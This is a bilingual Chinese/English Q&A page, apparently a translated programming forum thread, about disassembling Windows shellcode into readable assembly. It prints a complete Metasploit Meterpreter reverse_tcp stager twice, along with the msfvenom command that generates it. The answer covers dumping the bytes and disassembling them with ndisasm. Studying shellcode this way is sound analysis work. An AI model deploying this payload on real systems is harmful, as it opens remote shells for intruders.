如何将Shellcode转换为可读的汇编代码/指令? [英] How to convert shellcode to readable assembly code/instructions?

问题描述

例如，如何转换以下Windows Shell代码:

How could I for instance convert the following windows shellcode:

\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x89\xe5\x8b\x52\x14\x0f\xb7\x4a\x26\x31\xff\x8b\x72\x28\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x8b\x48\x18\x50\x8b\x58\x20\x01\xd3\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34\x8b\x01\xd6\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\x0a\x00\x00\x01\x68\x02\x00\x01\xbb\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5

从metasploit的msfvenom工具生成:

generated from metasploit's msfvenom tool:

msfvenom -p windows/meterpreter/reverse_tcp lhost=127.0.0.1 lport=443

要了解可在C语言中的内联汇编中使用的可读汇编指令/intel语法代码?

To readable assembly instructions/code of intel syntax that could be used in inline assembly in C?

推荐答案

这是C样式的转义字符串；将其转储到文件的一种简单方法是使用支持它们的任何语言编写程序，例如Python

That's a C-style escaped string; a simple way to dump it to file is to write a program in whatever language supports them, e.g. Python

open("out.bin", "wb").write(b"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x89\xe5\x8b\x52\x14\x0f\xb7\x4a\x26\x31\xff\x8b\x72\x28\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x8b\x48\x18\x50\x8b\x58\x20\x01\xd3\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34\x8b\x01\xd6\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\x0a\x00\x00\x01\x68\x02\x00\x01\xbb\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5")

，然后使用反汇编程序(例如 ndisasm )将二进制文件反汇编为汇编代码:

and then use a disassembler such as ndisasm to disassemble the binary file to assembly code:

ndisasm -b 32 out.bin

(假设它看起来是32位代码).

(assuming it's 32 bit code, as it seems to be).

如果您正在寻找在线解决方案而不是本地解决方案，则可以使用此站点:

If you're looking for an online solution rather than a local one, you can use this site: https://defuse.ca/online-x86-assembler.htm On that site, you can enter your C-style string literal directly into the "disassemble" textbox, choose whether you want 32-bit or 64-bit instructions, and the "Disassemble" button.

当然，这些都不会导致代码立即可作为内联汇编使用-它完全取决于编译器接受哪种方言，此外，您还必须调整所有跳转，以使它们引用标签而不是地址，可能会将嵌入的数据与代码分开，依此类推.最终，研究它并编写等效的C代码可能更有用.

Of course, neither of these will result in code that is immediately usable as inline assembly - it depends on exactly which dialect is accepted by your compiler, plus you have to adjust all the jumps so that they refer to labels instead of addresses, possibly separate the embedded data from the code and so on. Ultimately it may be more useful to study it and write the equivalent C code.

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